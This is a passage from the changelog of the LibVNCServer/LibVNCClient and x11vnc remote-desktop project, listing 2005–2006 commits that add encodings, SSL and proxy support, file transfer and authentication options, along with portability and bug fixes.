libvncserver/stats.c, libvncserver/tight.c, libvncserver/ultra.c, libvncserver/zlib.c, libvncserver/zrle.c, rfb/rfb.h: Client Independent Server Side Scaling is now supported Both PalmVNC and UltraVNC SetScale messages are supported 2006-05-02 steven_carr * ChangeLog, libvncclient/Makefile.am, libvncclient/lzoconf.h, libvncclient/minilzo.c, libvncclient/minilzo.h, libvncclient/rfbproto.c, libvncclient/ultra.c, libvncclient/vncviewer.c, libvncserver/Makefile.am, libvncserver/lzoconf.h, libvncserver/minilzo.c, libvncserver/minilzo.h, libvncserver/rfbserver.c, libvncserver/ultra.c, rfb/rfb.h, rfb/rfbclient.h: Ultra Encoding added. Tested against UltraVNC V1.01 2006-05-02 steven_carr * libvncclient/rfbproto.c: CopyRectangle() BPP!=8 bug fixed 2006-05-02 steven_carr * libvncclient/vncviewer.c: Eliminate incompatible pointer assignment warning (gcc 4.0.1) 2006-05-02 steven_carr * libvncclient/hextile.c, libvncclient/tight.c, libvncclient/zlib.c: signed vs unsigned warnings eliminated (gcc 4.0.1) 2006-04-30 dscho * examples/Makefile.am: include rotatetemplate.c in the tarball 2006-04-28 dscho * client_examples/SDLvncviewer.c, libvncclient/rfbproto.c, rfb/rfbclient.h: libvncclient: support changing of framebuffer size; make SDLvncviewer use it 2006-04-28 dscho * client_examples/SDLvncviewer.c: fix SDLvncviewer for widths which are not divisible by 8 2006-04-27 dscho * ChangeLog, examples/.cvsignore, examples/Makefile.am, examples/pnmshow.c, examples/rotate.c, examples/rotatetemplate.c: add rotate and flip example 2006-04-27 dscho * examples/camera.c: malloc.h should not be needed (it is missing on quite a few platforms) 2006-04-26 runge * ChangeLog, classes/ssl/ssl_vncviewer, client_examples/Makefile.am, configure.ac, contrib/Makefile.am, examples/Makefile.am, libvncclient/Makefile.am, libvncserver/Makefile.am, libvncserver/tightvnc-filetransfer/Makefile.am, test/Makefile.am, x11vnc/ChangeLog, x11vnc/Makefile.am, x11vnc/README, x11vnc/help.c, x11vnc/sslhelper.c, x11vnc/x11vnc.1, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c: Make VPATH building work with -I $(top_srcdir) for rfb/rfb.h 2006-04-17 steven_carr * ChangeLog, examples/Makefile.am, examples/camera.c: Added an example camera application to demonstrate another way to write a server application. 2006-04-16 runge * classes/ssl/ssl_vncviewer, classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch, x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c, x11vnc/help.c, x11vnc/sslcmds.c, x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: Apache SSL gateway. More web proxy cases for Java and ssl_vncviewer. 2006-04-05 runge * ChangeLog, classes/ssl/Makefile.am, classes/ssl/README, classes/ssl/proxy.vnc, classes/ssl/ssl_vncviewer, classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch, configure.ac, prepare_x11vnc_dist.sh, x11vnc/ChangeLog, x11vnc/Makefile.am, x11vnc/README, x11vnc/cleanup.c, x11vnc/cleanup.h, x11vnc/connections.c, x11vnc/help.c, x11vnc/options.c, x11vnc/options.h, x11vnc/pm.c, x11vnc/pm.h, x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c, x11vnc/sslcmds.c, x11vnc/sslcmds.h, x11vnc/sslhelper.c, x11vnc/sslhelper.h, x11vnc/ssltools.h, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c: SSL Java viewer work thru proxy. -sslGenCA, etc key/cert management utils for x11vnc. FBPM "support". 2006-03-28 dscho * ChangeLog, client_examples/SDLvncviewer.c, libvncclient/rfbproto.c, libvncclient/vncviewer.c, libvncserver/main.c, libvncserver/rfbserver.c, rfb/rfb.h, rfb/rfbclient.h, rfb/rfbproto.h: add KeyboardLedState extension 2006-03-28 runge * ChangeLog, classes/Makefile.am, classes/ssl/Makefile.am, classes/ssl/index.vnc, classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-cursor-colors+no-tab -traversal.patch, classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch, configure.ac, libvncserver/httpd.c, prepare_x11vnc_dist.sh, x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c, x11vnc/connections.c, x11vnc/connections.h, x11vnc/cursor.c, x11vnc/help.c, x11vnc/keyboard.c, x11vnc/options.c, x11vnc/options.h, x11vnc/pointer.c, x11vnc/rates.c, x11vnc/remote.c, x11vnc/screen.c, x11vnc/sslcmds.c, x11vnc/sslhelper.c, x11vnc/sslhelper.h, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/unixpw.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xwrappers.c: SSL patch for Java viewer. https support for x11vnc. 2006-03-27 dscho * AUTHORS, ChangeLog, libvncserver/rfbserver.c: ignore maxRectsPerUpdate when encoding is Zlib (thanks scarr) 2006-03-27 dscho * libvncclient/vncviewer.c: libvncclient: take -compress and -quality command line arguments 2006-03-12 runge * configure.ac, x11vnc/ChangeLog, x11vnc/Makefile.am, x11vnc/README, x11vnc/cleanup.c, x11vnc/connections.c, x11vnc/gui.c, x11vnc/help.c, x11vnc/misc/Xdummy, x11vnc/options.c, x11vnc/options.h, x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c, x11vnc/screen.h, x11vnc/selection.c, x11vnc/sslcmds.c, x11vnc/sslhelper.c, x11vnc/sslhelper.h, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/unixpw.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xevents.c: x11vnc: add -ssl mode using libssl. Include Xdummy in misc. 2006-03-08 runge * x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c, x11vnc/help.c, x11vnc/options.c, x11vnc/options.h, x11vnc/remote.c, x11vnc/screen.c, x11vnc/selection.c, x11vnc/selection.h, x11vnc/sslcmds.c, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/unixpw.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xevents.c, x11vnc/xevents.h: x11vnc: do CLIPBOARD, reverse conn require passwds, -usepw, -debug_sel, -storepasswd homedir. 2006-03-06 runge * x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c, x11vnc/connections.h, x11vnc/gui.c, x11vnc/gui.h, x11vnc/help.c, x11vnc/params.h, x11vnc/remote.c, x11vnc/sslcmds.c, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/unixpw.c, x11vnc/unixpw.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c, x11vnc/xevents.c, x11vnc/xevents.h: x11vnc: gui speedup and fixes. -unixpw and -inetd 2006-03-05 runge * configure.ac, x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c, x11vnc/gui.c, x11vnc/help.c, x11vnc/inet.c, x11vnc/options.c, x11vnc/options.h, x11vnc/remote.c, x11vnc/sslcmds.c, x11vnc/sslcmds.h, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/unixpw.c, x11vnc/unixpw.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c: x11vnc: -unixpw on *bsd, hpux and tru64. -unixpw_nis mode. stunnel and gui tweaks. 2006-03-03 runge * configure.ac, x11vnc/8to24.c, x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c, x11vnc/help.c, x11vnc/inet.c, x11vnc/inet.h, x11vnc/keyboard.c, x11vnc/remote.c, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/unixpw.c, x11vnc/unixpw.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c: x11vnc: more -unixpw mode. -gone popup mode. Change filexfer via -R. Tune SMALL_FOOTPRINT. 2006-03-01 dscho * examples/Makefile.am, examples/blooptest.c, examples/example.c: Fix blooptest example 2006-03-01 dscho * rfb/keysym.h: do not assume that KEYSYM_H guards X11's keysym.h 2006-03-01 dscho * libvncserver/main.c: do not timeout on idle client input (with pthreads) 2006-03-01 dscho * examples/Makefile.am: if compiling with pthreads, also compile blooptest 2006-02-28 dscho * libvncserver/sockets.c: rfbCheckFds now returns the number of processed events 2006-02-28 dscho * AUTHORS, ChangeLog, libvncserver/main.c, libvncserver/sockets.c, rfb/rfb.h: add handleEventsEagerly flag (Thanks, Donald) 2006-02-25 runge * ChangeLog, configure.ac, x11vnc/ChangeLog, x11vnc/Makefile.am, x11vnc/README, x11vnc/allowed_input_t.h, x11vnc/cleanup.c, x11vnc/connections.c, x11vnc/cursor.c, x11vnc/help.c, x11vnc/inet.c, x11vnc/inet.h, x11vnc/keyboard.c, x11vnc/keyboard.h, x11vnc/options.c, x11vnc/options.h, x11vnc/pointer.c, x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c, x11vnc/selection.c, x11vnc/sslcmds.c, x11vnc/sslcmds.h, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/unixpw.c, x11vnc/unixpw.h, x11vnc/user.c, x11vnc/userinput.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xdamage.c, x11vnc/xevents.c, x11vnc/xrecord.c: x11vnc: -unixpw and -stunnel. Add clipboard to input control. 2006-02-24 rohit_99129 * libvncserver/main.c, rfb/rfb.h: Added method to get extension specific client data 2006-02-24 rohit_99129 * ChangeLog, libvncserver/main.c, libvncserver/tightvnc-filetransfer/rfbtightserver.c, rfb/rfb.h: Added method to get extension specific client data 2006-02-22 dscho * ChangeLog, libvncserver/auth.c, libvncserver/main.c, libvncserver/tightvnc-filetransfer/rfbtightserver.c, rfb/rfb.h: add functions to unregister extensions/security types 2006-02-21 dscho * configure.ac, x11vnc/Makefile.am: IRIX linker is very picky about order of libraries 2006-02-20 runge * ChangeLog, configure.ac, libvncserver/cursor.c, libvncserver/main.c, libvncserver/tightvnc-filetransfer/filelistinfo.c, libvncserver/tightvnc-filetransfer/filetransfermsg.c, libvncserver/tightvnc-filetransfer/handlefiletransferrequest.c, prepare_x11vnc_dist.sh, x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c, x11vnc/inet.c, x11vnc/user.c, x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c, x11vnc/xevents.c: fix some non-gcc compiler warnings and signals in x11vnc 2006-02-07 runge * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/x11vnc.1, x11vnc/x11vnc.h: x11vnc: fix AIX build wrt h_errno. 2006-02-06 runge * x11vnc/8to24.c, x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/win_utils.c, x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: x11vnc: -8to24 more speedups; tunables for very slow machines. 2006-02-05 runge * x11vnc/8to24.c, x11vnc/8to24.h, x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/options.c, x11vnc/options.h, x11vnc/params.h, x11vnc/rates.c, x11vnc/scan.c, x11vnc/scan.h, x11vnc/userinput.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c, x11vnc/xinerama.c: x11vnc: -8to24 speedups and improvements. 2006-01-22 runge * x11vnc/8to24.c, x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/options.c, x11vnc/options.h, x11vnc/pointer.c, x11vnc/rates.c, x11vnc/remote.c, x11vnc/screen.c, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/win_utils.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: -8to24 opts, use XGetSubImage. fix -threads deadlocks and -rawfb crash 2006-01-19 runge * x11vnc/8to24.c, x11vnc/8to24.h, x11vnc/ChangeLog, x11vnc/README, x11vnc/cursor.c, x11vnc/help.c, x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c, x11vnc/userinput.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: -8to24 now works on default depth 8 displays. 2006-01-16 runge * x11vnc/8to24.c, x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/util.c, x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: x11vnc: more tweaks to -8to24 XGETIMAGE_8TO24 2006-01-15 runge * ChangeLog, x11vnc/8to24.c, x11vnc/8to24.h, x11vnc/ChangeLog, x11vnc/Makefile.am, x11vnc/README, x11vnc/connections.c, x11vnc/cursor.c, x11vnc/help.c, x11vnc/options.c, x11vnc/options.h, x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/userinput.c, x11vnc/util.c, x11vnc/util.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c: x11vnc: add -8to24 option for some multi-depth displays. 2006-01-12 runge * ChangeLog, configure.ac, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.h: configure.ac: add switches for most X extensions. 2006-01-11 runge * libvncserver/main.c, prepare_x11vnc_dist.sh, x11vnc/README, x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: logMutex needs to be initialized too; in rfbDefaultLog. 2006-01-11 runge * x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c, x11vnc/connections.c, x11vnc/cursor.c, x11vnc/keyboard.c, x11vnc/pointer.c, x11vnc/scan.c, x11vnc/screen.c, x11vnc/solid.c, x11vnc/userinput.c, x11vnc/win_utils.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c, x11vnc/xdamage.c, x11vnc/xrecord.c: x11vnc: close fd > 2 in run_user_command(), -nocmds in crash_debug, fix 64bit bug for -solid. 2006-01-10 dscho * ChangeLog, libvncserver/main.c, libvncserver/rfbserver.c: rfbProcessEvents() has to iterate also over clients with sock < 0 to close them 2006-01-09 runge * ChangeLog, examples/pnmshow24.c, x11vnc/ChangeLog, x11vnc/Makefile.am, x11vnc/README, x11vnc/allowed_input_t.h, x11vnc/blackout_t.h, x11vnc/cleanup.c, x11vnc/cleanup.h, x11vnc/connections.c, x11vnc/connections.h, x11vnc/cursor.c, x11vnc/cursor.h, x11vnc/enums.h, x11vnc/gui.c, x11vnc/gui.h, x11vnc/help.c, x11vnc/help.h, x11vnc/inet.c, x11vnc/inet.h, x11vnc/keyboard.c, x11vnc/keyboard.h, x11vnc/options.c, x11vnc/options.h, x11vnc/params.h, x11vnc/pointer.c, x11vnc/pointer.h, x11vnc/rates.c, x11vnc/rates.h, x11vnc/remote.c, x11vnc/remote.h, x11vnc/scan.c, x11vnc/scan.h, x11vnc/screen.c, x11vnc/screen.h, x11vnc/scrollevent_t.h, x11vnc/selection.c, x11vnc/selection.h, x11vnc/solid.c, x11vnc/solid.h, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/user.c, x11vnc/user.h, x11vnc/userinput.c, x11vnc/userinput.h, x11vnc/util.c, x11vnc/util.h, x11vnc/win_utils.c, x11vnc/win_utils.h, x11vnc/winattr_t.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xdamage.c, x11vnc/xdamage.h, x11vnc/xevents.c, x11vnc/xevents.h, x11vnc/xinerama.c, x11vnc/xinerama.h, x11vnc/xkb_bell.c, x11vnc/xkb_bell.h, x11vnc/xrandr.c, x11vnc/xrandr.h, x11vnc/xrecord.c, x11vnc/xrecord.h, x11vnc/xwrappers.c, x11vnc/xwrappers.h: x11vnc: the big split. 2006-01-08 runge * ChangeLog, examples/pnmshow24.c, libvncclient/vncviewer.c, libvncserver/main.c: fix client non-jpeg/libz builds 2006-01-06 runge * ChangeLog, libvncserver/main.c: rfbRegisterProtocolExtension extMutex was never initialized. 2005-12-24 runge * ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: enhance -passwdfile features, filetransfer on by default. 2005-12-22 dscho * libvncserver/rfbserver.c: make compile again with pthreads; fix off-by-one error 2005-12-19 dscho * AUTHORS, ChangeLog, libvncserver/cargs.c, libvncserver/main.c, libvncserver/rfbserver.c, rfb/rfb.h: introduce -deferptrupdate (thanks Dave) 2005-12-19 dscho * client_examples/SDLvncviewer.c, libvncclient/sockets.c, libvncclient/vncviewer.c, libvncserver/main.c, libvncserver/rfbserver.c, libvncserver/sockets.c: assorted fixes for MinGW32 2005-12-09 dscho * ChangeLog, configure.ac, libvncclient/sockets.c, libvncserver/sockets.c: work around write() returning ENOENT on Solaris 2.7 2005-12-09 dscho * examples/mac.c: previous patch turned compile warning in a compile error; fix that ;-) 2005-12-08 dscho * examples/mac.c: fix compile warnings 2005-12-07 dscho * libvncclient/vncviewer.c: one more memory leak 2005-12-07 dscho * ChangeLog, libvncclient/vncviewer.c, rfb/rfbclient.h: plug memory leaks 2005-12-07 dscho * client_examples/SDLvncviewer.c: translate keys based on unicode (much more reliable than sym) 2005-11-28 runge * prepare_x11vnc_dist.sh, x11vnc/ChangeLog, x11vnc/README, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: add -loop option. 2005-11-25 runge * ChangeLog, configure.ac, libvncclient/rfbproto.c, libvncclient/tight.c, libvncclient/vncviewer.c, libvncserver/Makefile.am, libvncserver/auth.c, libvncserver/main.c, libvncserver/private.h, libvncserver/rfbserver.c, libvncserver/tightvnc-filetransfer/filelistinfo.h, libvncserver/tightvnc-filetransfer/filetransfermsg.c, libvncserver/tightvnc-filetransfer/handlefiletransferrequest.c, libvncserver/tightvnc-filetransfer/rfbtightserver.c, rfb/rfbclient.h, rfb/rfbproto.h, x11vnc/ChangeLog, x11vnc/misc/x11vnc_pw, x11vnc/x11vnc.c: fix deadlock from rfbReleaseExtensionIterator(), fix no libz/libjpeg builds, disable tightvnc-filetransfer if no libpthread, add --without-pthread option, rm // comments, set NAME_MAX if not defined, x11vnc: throttle load if fb update requests not taking place. 2005-10-23 runge * configure.ac, x11vnc/README: configure.ac: test ... == ... not allowed on all unix. 2005-10-23 runge * ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: -filexfer, -slow_fb, -blackout noptr,... 2005-10-07 dscho * TODO: update TODO 2005-10-07 dscho * examples/backchannel.c, libvncserver/rfbserver.c, rfb/rfb.h: The PseudoEncoding extension code was getting silly: If the client asked for an encoding, and no enabled extension handled it, LibVNCServer would walk through all extensions, and if they promised to handle the encoding, execute the extension's newClient() if it was not NULL. However, if newClient is not NULL, it will be called when a client connects, and if it returns TRUE, the extension will be enabled. Since all the state of the extension should be in the client data, there is no good reason why newClient should return FALSE the first time (thus not enabling the extension), but TRUE when called just before calling enablePseudoEncoding(). So in effect, the extension got enabled all the time, even if that was not necessary. The resolution is to pass a void** to enablePseudoEncoding. This has the further advantage that enablePseudoEncoding can remalloc() or free() the data without problems. Though keep in mind that if enablePseudoEncoding() is called on a not-yet-enabled extension, the passed data points to NULL. 2005-10-06 dscho * ChangeLog: update ChangeLog for today 2005-10-06 dscho * client_examples/Makefile.am, client_examples/SDLvncviewer.c, client_examples/backchannel.c, libvncclient/rfbproto.c, rfb/rfbclient.h: add an extension mechanism for LibVNCClient, modify the client data handling so that more than one data structure can be attached, and add an example to speak the client part of the back channel. 2005-10-06 dscho * examples/Makefile.am, examples/backchannel.c: add BackChannel extension example 2005-10-06 dscho * libvncclient/zrle.c: fix warning 2005-10-06 dscho * configure.ac, examples/mac.c, libvncserver/main.c, libvncserver/rfbserver.c, libvncserver/stats.c, libvncserver/tightvnc-filetransfer/filetransfermsg.c, rfb/rfb.h, rfb/rfbproto.h: kill BackChannel and CustomClientMessage: the new extension technique makes these hooks obsolete 2005-10-06 dscho * libvncserver/rfbserver.c, libvncserver/tightvnc-filetransfer/rfbtightserver.c, rfb/rfb.h: provide a list of the pseudo encodings understood by the extension 2005-10-06 dscho * contrib/Makefile.am, x11vnc/Makefile.am: DEFINES -> AM_CFLAGS 2005-10-06 dscho * client_examples/Makefile.am, examples/Makefile.am, libvncclient/Makefile.am, libvncserver/tightvnc-filetransfer/Makefile.am, test/Makefile.am: do it right: it is not DEFINES, but AM_CFLAGS 2005-10-03 dscho * ChangeLog, libvncserver/rfbserver.c, libvncserver/tightvnc-filetransfer/rfbtightserver.c, rfb/rfb.h: add enablePseudoEncoding() to rfbProtocolExtension 2005-09-29 dscho * TODO, index.html: more TODOs, and an update to the website 2005-09-28 dscho * AUTHORS, ChangeLog, configure.ac, examples/.cvsignore, examples/Makefile.am, examples/filetransfer.c, libvncclient/.cvsignore, libvncserver/.cvsignore, libvncserver/Makefile.am, libvncserver/auth.c, libvncserver/cargs.c, libvncserver/main.c, libvncserver/rfbserver.c, libvncserver/sockets.c, libvncserver/tightvnc-filetransfer/.cvsignore, libvncserver/tightvnc-filetransfer/Makefile.am, libvncserver/tightvnc-filetransfer/filelistinfo.c, libvncserver/tightvnc-filetransfer/filelistinfo.h, libvncserver/tightvnc-filetransfer/filetransfermsg.c, libvncserver/tightvnc-filetransfer/filetransfermsg.h, libvncserver/tightvnc-filetransfer/handlefiletransferrequest.c, libvncserver/tightvnc-filetransfer/handlefiletransferrequest.h, libvncserver/tightvnc-filetransfer/rfbtightproto.h, libvncserver/tightvnc-filetransfer/rfbtightserver.c, rfb/rfb.h: This monster commit contains support for TightVNC's file transfer protocol. Thank you very much, Rohit! 2005-09-27 dscho * ChangeLog, libvncserver/cargs.c, libvncserver/main.c, libvncserver/rfbserver.c, libvncserver/sockets.c, rfb/rfb.h: Introduce generic protocol extension method. Deprecate the processCustomClientMessage() method. 2005-09-27 dscho * libvncserver/auth.c, libvncserver/main.c, rfb/rfb.h: Security is global. This was a misguided attempt to evade a global list. I eventually saw the light and went with Rohits original approach. 2005-09-27 dscho * client_examples/Makefile.am, client_examples/vnc2mpg.c: support new ffmpeg version 2005-09-26 dscho * ChangeLog, libvncserver/auth.c, libvncserver/main.c, libvncserver/rfbserver.c, rfb/rfb.h, rfb/rfbproto.h: support VNC protocol version 3.7 2005-08-22 dscho * prepare_x11vnc_dist.sh: for x11vnc standalone package, adaptions were needed after changing LibVNCServer.spec.in 2005-08-21 dscho * AUTHORS, ChangeLog, LibVNCServer.spec.in: split rpm into three packages: the library, -devel (headers), and x11vnc 2005-07-18 runge * x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: more gui fixes, gui requests via client_sock, PASSWD_REQUIRED build opt. 2005-07-13 runge * prepare_x11vnc_dist.sh, x11vnc/ChangeLog, x11vnc/README, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: setup for new release 0.7.3 while I remember how.. 2005-07-13 runge * ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: tweaks for release, fix queue buildup under -viewonly. 2005-07-11 runge * x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: more improvements to gui, scary nopassword warning msg. 2005-07-09 runge * ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: -grab_buster for XGrabServer deadlock; fix scrolls and copyrect for -clip and -id 2005-07-07 runge * ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: -gui tray now embeds in systray; more improvements to gui. 2005-07-02 runge * ChangeLog, libvncserver/httpd.c, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: -gui tray mode, httpd.c: check httpListenSock >= 0. 2005-06-28 dscho * ChangeLog, TODO, libvncclient/zrle.c: fix annoying zrle decoding bug 2005-06-27 runge * ChangeLog, libvncserver/main.c: main.c: fix screen->deferUpdateTime default. 2005-06-27 runge * x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: track keycode state for heuristics, -sloppy_keys, -wmdt, add -nodbg as option 2005-06-21 dscho * TODO: ZRLE has problems with RealVNC server. Look into it. 2005-06-21 runge * x11vnc/ChangeLog, x11vnc/README, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: long info and tips when XOpenDisplay fails, reinstate "bad desktop" for wireframe 2005-06-18 runge * ChangeLog, configure.ac, x11vnc/ChangeLog, x11vnc/README, x11vnc/x11vnc.1, x11vnc/x11vnc.c: configure.ac: HP-UX and OSF1 no -R, x11vnc: second round of beta-testing fixes. 2005-06-14 runge * ChangeLog, configure.ac, libvncserver/cursor.c, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: main.c: XReadScreen check, fix 64bit use of cursors, x11vnc: first round of beta-testing fixes, RFE's. 2005-06-11 dscho * ChangeLog, configure.ac: no longer complain on Solaris about missing ar, which was not really missing 2005-06-06 dscho * rfb/rfbproto.h: add definitions from other VNC implementations 2005-06-06 dscho * TODO: more TODOs 2005-06-06 dscho * client_examples/Makefile.am, configure.ac: link to libmp3lame only if exists 2005-06-04 runge * ChangeLog, libvncserver/main.c, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: main.c: no sraRgnSubstract for copyRect, scrolls for x11vnc -scale; add -fixscreen 2005-05-31 runge * ChangeLog, libvncserver/main.c, x11vnc/ChangeLog, x11vnc/README, x11vnc/x11vnc.1, x11vnc/x11vnc.c: main.c: fix copyRect for non-cursor-shape-aware clients. 2005-05-25 dscho * index.html: news 2005-05-25 runge * ChangeLog, prepare_x11vnc_dist.sh, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: scrolling: grabserver, autorepeat throttling, mouse wheel, fix onetile 2005-05-24 dscho * examples/.cvsignore: mac works! 2005-05-24 dscho * Makefile.am, configure.ac: make libvncserver-conf executable the autoconf way 2005-05-24 dscho * Makefile.am: "make t" now executes the tests 2005-05-24 dscho * libvncclient/Makefile.am: do distribute and depend on zrle.c 2005-05-24 dscho * TODO, libvncclient/rfbproto.c, libvncclient/tight.c, libvncclient/vncviewer.c, libvncclient/zlib.c, libvncclient/zrle.c, test/encodingstest.c: implement ZRLE decoding 2005-05-24 dscho * client_examples/SDLvncviewer.c: try 32 bit first 2005-05-24 dscho * examples/example.c, libvncserver/font.c: fix off by one bug 2005-05-23 dscho * libvncclient/tight.c, libvncclient/vncviewer.c: init a structure *before* using it... 2005-05-23 dscho * libvncclient/tight.c: remove wrong comment 2005-05-23 dscho * libvncclient/rfbproto.c, libvncclient/tight.c, libvncclient/vncviewer.c, libvncclient/zlib.c, rfb/rfbclient.h: make zlib and tight handling thread safe (static -> rfbClient) 2005-05-23 dscho * client_examples/vnc2mpg.c: work around bug in ffmpeg 2005-05-23 dscho * ChangeLog, configure.ac: simplify configure (do not check for malloc(0) bug) 2005-05-23 dscho * client_examples/vnc2mpg.c: fix compilation for LIBAVCODEC_BUILD==4754 2005-05-20 dscho * acinclude.m4: finally fix socklen_t problem 2005-05-18 dscho * acinclude.m4: fix socklen_t also for defines 2005-05-18 dscho * ChangeLog, acinclude.m4, rfb/rfb.h: fix compilation for systems without socklen_t 2005-05-18 dscho * libvncserver/main.c: fix off by one bug 2005-05-18 dscho * examples/vncev.c, libvncclient/listen.c, libvncclient/rfbproto.c, libvncclient/sockets.c, libvncclient/vncviewer.c, libvncserver/main.c, libvncserver/rfbserver.c, libvncserver/vncauth.c, rfb/rfb.h, test/copyrecttest.c, test/encodingstest.c, vncterm/VNCommand.c: hide strict ansi stuff if not explicitely turned on; actually use the socklen_t test from configure.ac 2005-05-18 runge * ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: more scrolling, -scr_term, -wait_ui, -nowait_bog 2005-05-17 dscho * libvncserver/Makefile.am: also distribute private.h... 2005-05-17 dscho * TODO: update TODOs 2005-05-16 dscho * libvncserver/rfbserver.c: fix SIGSEGV when client has incompatible protocol; release mutex before freeing it 2005-05-15 dscho * ChangeLog, VisualNaCro/configure.ac, VisualNaCro/default8x16.h, VisualNaCro/nacro.c, client_examples/SDLvncviewer.c, client_examples/ppmtest.c, contrib/zippy.c, examples/example.c, examples/fontsel.c, examples/pnmshow.c, 